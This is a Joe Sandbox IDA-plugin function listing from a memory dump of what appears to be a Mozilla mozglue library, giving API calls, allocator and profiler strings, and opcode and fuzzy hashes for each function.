LeaveCriticalSection.KERNEL32(6CB1E768), ref: 6CAB027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAAFE99, 6CAAFEB7, 6CAAFED3, 6CAB0DB8, 6CAB0DD3, 6CAB19B4, 6CAB1A10
MOZ_CRASH(), xrefs: 6CAB0CA7

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 16cc6270d0dfe58ac26a721086d4429621509ab40795b7d9c2ff067827dd3527
Instruction ID: c0aeab287014388b2dcd428fdf27402f72e14ab73cbd5af615a7a038e487eb71
Opcode Fuzzy Hash: 16cc6270d0dfe58ac26a721086d4429621509ab40795b7d9c2ff067827dd3527
Instruction Fuzzy Hash: B1B2CF717057418FD718CF28C590726BBE5BF89328F28C66CE96A9BB95D770E880CB41

Function 6CAE5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CAE5AC3
ProfileBuffer parse error: %s, xrefs: 6CAE5AC8, 6CAE5CBB
schema, xrefs: 6CAE606D
data, xrefs: 6CAE6131
name, xrefs: 6CAE5E79, 6CAE5E8F
expected a Time entry, xrefs: 6CAE5CB6

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: ad9c6416647f5a6edc09e3aa04c852050a71e1c769e5f9b51af9adbed35e039e
Instruction ID: ca89a82bb6a75289813be556ed4fa1c3f9ae0298d6d82ef074a048adfef54e0e
Opcode Fuzzy Hash: ad9c6416647f5a6edc09e3aa04c852050a71e1c769e5f9b51af9adbed35e039e
Instruction Fuzzy Hash: 42924C71A083418FD724CF28D59079BBBE1BFC9308F14891DE59A9B751DB30E889DB92

Function 6CAE2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAE2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAE2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAE378D
set , xrefs: 6CAE36EC
get , xrefs: 6CAE3205

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 18ae4738229a891d960220071ff472182d6aaf93a043009ffe85516fad9baa0b
Instruction ID: 980f221b1acee3e02e8ba896ab6398d00a86b0e4b6fee80a05e4a8ad2c06f7af
Opcode Fuzzy Hash: 18ae4738229a891d960220071ff472182d6aaf93a043009ffe85516fad9baa0b
Instruction Fuzzy Hash: 9C326E746093818FD324CF24C0906AFBBE2AFC9318F54891DE5D987761DB31D98ADB92

Function 6CAD7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6CAD81E3, 6CAD8311
data, xrefs: 6CAD8280, 6CAD83E1
(pre-xul), xrefs: 6CAD7E88
name, xrefs: 6CAD7ECF, 6CAD8335

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 963ae4e8e62f188d0cc83ccfe0abeb2c9cad188cd83ac6189d547565562d8db5
Instruction ID: 509b1e5dd3ee206001c75252957be9a703670afb3450a6c310bb7566ddeb0ab2
Opcode Fuzzy Hash: 963ae4e8e62f188d0cc83ccfe0abeb2c9cad188cd83ac6189d547565562d8db5
Instruction Fuzzy Hash: DFE17EB1B043848BC710CF68C84166BFBEABB95314F158A2DE895D7790DBB0ED498B91

Function 6CABD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD6A6
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD712
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD7EA

Strings

<jemalloc>, xrefs: 6CABD827
: (malloc) Error initializing arena, xrefs: 6CABD82C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction ID: e04c1b893891a9c58059f1d02509d6f066f22de46734497d16b9ad1c236f032e
Opcode Fuzzy Hash: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction Fuzzy Hash: 7991F671E047418FD714CF28C1A576AB7E5EB89318F18492EE45AD7F89D730E884CB82

Function 6CAB5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2
memset.VCRUNTIME140(6CAF7765,000000E5,B1C09015), ref: 6CAB61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAB7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAB72E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAB72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAB7BCD, 6CAB7C1F, 6CAB7C34, 6CAB80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAB730D
MOZ_CRASH(), xrefs: 6CAB7BA4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: ab0d5222e7e2081fa9f1fcc72679badc11a241a992b472c00dcba3be46d343f7
Instruction ID: c6850efa370a75531965b0515c2ad9d1255a247ba3eecb1d9022e3c70750f8cd
Opcode Fuzzy Hash: ab0d5222e7e2081fa9f1fcc72679badc11a241a992b472c00dcba3be46d343f7
Instruction Fuzzy Hash: 55338B716067018FC308CF28C590615BBE6BF86328F2DC6ADE869DB7A5D771E881CB51

Function 6CA93480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA9350E
__Init_thread_footer.LIBCMT ref: 6CA93522
__aulldiv.LIBCMT ref: 6CA93552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA9357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93592

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

kernel32.dll, xrefs: 6CA934EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA93508

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction ID: 266d4ff1f9b3dd9d7f0d16a33b323fa58d64ae7df8494ce3d0e84db702e90f59
Opcode Fuzzy Hash: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction Fuzzy Hash: A431D1B5B012099FDF04DFB9C94AAAE77B9FB49314F104419E545E3B50DB30A944CB61

Function 6CAE4820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CAE4D0A
ProfileBuffer parse error: %s, xrefs: 6CAE4DD9
schema, xrefs: 6CAE48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CAE4CAF
data, xrefs: 6CAE49B4
-%llu, xrefs: 6CAE4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CAE4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CAE4DB8, 6CAE4DD8

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: af867db8f056be42975a7fd67542e0bcacb5c1e8cbcfd261b64ba6ca03807d23
Instruction ID: b701b70a62ddf4d9648087c7c1229118d4bc7659f885fdc057d7c8ab2fe8d11e
Opcode Fuzzy Hash: af867db8f056be42975a7fd67542e0bcacb5c1e8cbcfd261b64ba6ca03807d23
Instruction Fuzzy Hash: 5972FC75A18B858BD322CF34C4513ABF7F5AFDA344F108B1DE48A6B650EB709486DB42

Function 6CAF4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAF4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4F2E
moz_xmalloc.MOZGLUE ref: 6CAF4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAF4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF52E6
Sleep.KERNEL32(00000010), ref: 6CAF5481
free.MOZGLUE(?), ref: 6CAF5498

Strings

(, xrefs: 6CAF5250

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: b4c11718b1075f2059fc9a686a859cf2df3f006b6d48116c9e5a25fdd136271d
Instruction ID: 0bd85bd22437f83bb314d33273941d3e69960c2e1a166445f7613a82a3a9dd00
Opcode Fuzzy Hash: b4c11718b1075f2059fc9a686a859cf2df3f006b6d48116c9e5a25fdd136271d
Instruction Fuzzy Hash: 6CF1D171A18B408FC716CF38C85162BB7FAAFD6284F05872EF856A7651DB31D846CB81

Function 6CAF5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAF6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAF6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA9EE51,?), ref: 6CAF6046
OutputDebugStringA.KERNEL32(?,6CA9EE51,?), ref: 6CAF6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB1148E), ref: 6CAF6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA9EE51,00000000,?), ref: 6CAF60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF60C4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 5a1960a7244c051db4b99c93e5c43bde46b1f3e3a1a0df8c64657a90638dfcf1
Instruction ID: 379bd2cb2970423fffb03772eaeb6b1dbc2611377f6891d0762afe68e08c70ab
Opcode Fuzzy Hash: 5a1960a7244c051db4b99c93e5c43bde46b1f3e3a1a0df8c64657a90638dfcf1
Instruction Fuzzy Hash: 4E21B5B1A002089FDF105F24DC0AAAE7BBCFF45218F148428E85AD7741CB75A549CFD2

Function 6CAB9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAB9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CAB9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CABA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CABA8B1, 6CABA8D4, 6CABA8EF

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 50ad6dc6ec818415700abc4b9470b1456379bcb8b9c17a9acc8a9acf18035679
Instruction ID: 34a5d2e6b15bd78f5e4733891edc11246e1566a01a645fe73eeca5328ad3b1c3
Opcode Fuzzy Hash: 50ad6dc6ec818415700abc4b9470b1456379bcb8b9c17a9acc8a9acf18035679
Instruction Fuzzy Hash: 89725A72A157118FD314CF28C540615FBE6BF89728F29C66DE869AB7A1D335EC81CB80

Function 6CAE2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAE2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAE2C61

Part of subcall function 6CA94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
Part of subcall function 6CA94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAE2E2D

Part of subcall function 6CAA81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAA81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CAE2E3B
(root), xrefs: 6CAE354F
expected a Time entry, xrefs: 6CAE2E36

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction ID: a008e88681082356376248f12268064061907e8001a026f8c31b758762101c98
Opcode Fuzzy Hash: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction Fuzzy Hash: 3391D1706087818FC724CF28C49569FBBF5AFC9358F144A1DE59A87B90DB30D989CB92

Function 6CABC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CABC317
MOZ_CRASH(), xrefs: 6CABD4BB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9d66b02c8fd46c5730027189870220617b12035656c092db5507f51fb0fda668
Instruction ID: 7a067a04cd10ab4c0d61a1aa61d9e30fab8806ad59a1c5a673f985331abc8025
Opcode Fuzzy Hash: 9d66b02c8fd46c5730027189870220617b12035656c092db5507f51fb0fda668
Instruction Fuzzy Hash: DA52F630B083418FD714DF18C460BAAB7F6FB86318F18891DE9DAA7B95D7359885CB42

Function 6CAF9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAF9F3D
__aulldiv.LIBCMT ref: 6CAF9F77
__aullrem.LIBCMT ref: 6CAF9F8C
__aulldiv.LIBCMT ref: 6CAFA023

Strings

NaN, xrefs: 6CAF9EAB
-Infinity, xrefs: 6CAF9E60, 6CAF9E7B

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 59ca86153101537c39e2efeda0471998cb758c7dfda7358de744f0f93d657b6c
Instruction ID: 9ebcbb7b31c84be51246e1883e2d1e9e36bfc35aef4648a0c956c4ae61f30be8
Opcode Fuzzy Hash: 59ca86153101537c39e2efeda0471998cb758c7dfda7358de744f0f93d657b6c
Instruction Fuzzy Hash: F7C1AF31F043188BDB14CFA9C8507DEB7B6BF84714F194529E426ABB80D771AD8ACB91

Function 6CA9D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CA9D7DD
0, xrefs: 6CA9D852
0, xrefs: 6CA9DC7F
, xrefs: 6CA9DA88
@, xrefs: 6CA9DAF6
8, xrefs: 6CA9DC08
9, xrefs: 6CA9DE7F
1, xrefs: 6CA9DBDD

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
